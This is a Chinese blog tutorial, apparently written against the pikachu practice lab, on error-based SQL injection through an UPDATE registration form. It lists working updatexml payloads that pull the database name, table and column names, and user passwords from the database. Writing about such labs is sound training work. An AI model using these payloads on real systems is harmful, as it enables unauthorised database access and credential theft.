报错注入——update型

报错注入——update型

1.查看界面

  登录界面:

  尝试输入内容查看是否有有用的反馈:

  很明显,并没有反馈的东西,我们尝试点击注册内容

2.点击注册

  注册界面:

  明显这就是update更改数据库内容的注册语句,Mysql的update的语句形式如下:

1
update users set password='liaoyue' where id=$id;

  对于update函数而言,注入的方式是盲注的形式,可以是布尔、时间或者报错注入,下面采用的是报错注入的方式,前两种注入方式后面会讲到。

3.分析报文

  在username的值处添加单引号,查看情况:

  可以看见在最后是以POST的形式传输注册的内容进行数据库的修改,并且存在mysql报错的反馈,这里是个注入点,开始尝试注入。

4.使用updatexml函数获取数据库名

1
-1' or (updatexml(1,concat(0x7e,database(),0x7e),1))or'

  这里为什么结尾不是#了呢,这是因为这个上传后续还有其他的东西,如果直接用#注释掉就无法完成闭合(个人理解),所以要用or’进行闭合,注入完一看,是error的内容中出现了pikaqiu,成功的将数据库名输出了

5.获取数据库表名

1
1' and (updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))or'

  有缺失,说明长度不够长,使用substr函数,其中:

  • substr(string ,1,3) :取string左边第1位置起,3字长的字符串
  • substr(string, -1,3):取string右边第1位置起,3字长的字符串
1
1' and (updatexml(1,concat(0x7e,substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),32,31),0x7e),1)) or'

  将两次反馈拼接起来就是所有的数据库表名了

6.获取表

1
-1' and (updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('users')),0x7e),1))or'
1
-1' and (updatexml(1,concat(0x7e,substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)like('users')),32,32),0x7e),1))or'

  通过注入,我们获取到了用户名和密码的列表,接下来就是获取其中的信息了。

7.获取表中的内容

1
-1' and (updatexml(1,concat(0x7e,(select(group_concat(username))from(users)),0x7e),1))or'
1
-1' and (updatexml(1,concat(0x7e,(select(group_concat(password))from(users)),0x7e),1))or'

  内容显示不全就继续使用substr函数进行补全

1
-1'  and (updatexml(1,concat(0x7e,substr((select(group_concat(password))from(users)),32,32),0x7e),1))or'

8.解码

  “MD5的码,请阅读SQL——数字型”


报错注入——update型
https://one-null-pointer.github.io/2022/08/13/SQL注入——update型/
Author
liaoyue
Posted on
August 13, 2022
传送口